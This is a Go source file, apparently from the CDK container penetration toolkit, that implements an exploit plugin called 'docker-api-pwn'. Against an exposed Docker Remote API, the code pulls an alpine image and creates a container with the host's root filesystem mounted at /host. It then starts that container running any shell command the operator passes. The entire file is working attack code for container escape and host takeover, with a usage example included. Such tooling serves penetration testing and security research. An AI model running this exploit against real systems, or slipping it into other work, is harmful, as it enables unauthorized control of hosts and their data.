// +build !no_docker_api_pwn

package exploit

import (
	"fmt"
	"github.com/cdk-team/CDK/pkg/cli"
	"github.com/cdk-team/CDK/pkg/plugin"
	"github.com/cdk-team/CDK/pkg/util"
	"log"
	"regexp"
	"strings"
)

// http post body for Docker API exploit
// https://docs.docker.com/engine/api/v1.24/#31-containers
var dockerAPIHttpPostData = `
{
	"Image": "alpine",
	"Hostname": "",
	"Domainname": "",
	"User": "",
	"AttachStdin": true,
	"AttachStdout": true,
	"AttachStderr": true,
	"Tty": false,
	"OpenStdin": true,
	"StdinOnce": true,
	"Entrypoint": "",
	"Volumes": {
		"/host/": {}
	},
	"HostConfig": {
		"Binds": ["/:/host"]
	},
	"CMD": ["/bin/sh","-c","<SHELL_CMD>"]
}
`

func CheckDockerRemoteAPI(url string) bool {
	url = url + "/info"
	ans, err := util.HttpSendJson("GET", url, "")
	if err != nil {
		log.Println(err)
		return false
	}
	if strings.Contains(ans, "ContainersRunning") {
		return true
	}
	return false
}

func DockerRemoteAPIExploit(api string, cmd string) {
	// check if api available
	if !CheckDockerRemoteAPI(api) {
		log.Fatalln("Invalid Docker Remote API: " + api)
	}

	// pull image alpine
	url := api + "/images/create?fromImage=alpine&tag=latest"
	ans, err := util.HttpSendJson("POST", url, "")
	if err != nil {
		log.Fatalln(err)
	}
	log.Println("Docker API response:")
	fmt.Println(ans)

	// create container with user cmd
	url = api + "/containers/create"
	payloadData := strings.Replace(dockerAPIHttpPostData, "<SHELL_CMD>", cmd, -1)
	ans, err = util.HttpSendJson("POST", url, payloadData)
	if err != nil {
		log.Fatalln(err)
	}
	log.Println("Docker API response:")
	fmt.Println(ans)

	// get container id
	pattern := regexp.MustCompile("[A-Fa-f0-9]{64}")
	params := pattern.FindStringSubmatch(ans)
	if len(params) > 0 {
		log.Println("container ID: ", params)
	} else {
		return
	}

	// start container
	containerID := params[0]
	url = api + "/containers/" + containerID + "/start"
	log.Println("starting container:", containerID)
	ans, err = util.HttpSendJson("POST", url, "")
	if err != nil {
		log.Println(err)
		return
	}
	log.Println("finished.")
}

// plugin interface
type DockerRemoteAPIS struct{}

func (p DockerRemoteAPIS) Desc() string {
	return "Create and run <cmd> in a container with host `/` mounted to `/host`. usage: ./cdk run docker-api-pwn http://127.0.0.1:2375 \"touch /host/tmp/pwn-success\""
}

func (p DockerRemoteAPIS) Run() bool {
	args := cli.Args["<args>"].([]string)
	if len(args) != 2 {
		log.Println("invalid input args.")
		log.Fatal(p.Desc())
	}
	url := args[0]
	cmd := args[1]
	DockerRemoteAPIExploit(url, cmd)
	return true
}

func init() {
	exploit := DockerRemoteAPIS{}
	plugin.RegisterExploit("docker-api-pwn", exploit)
}
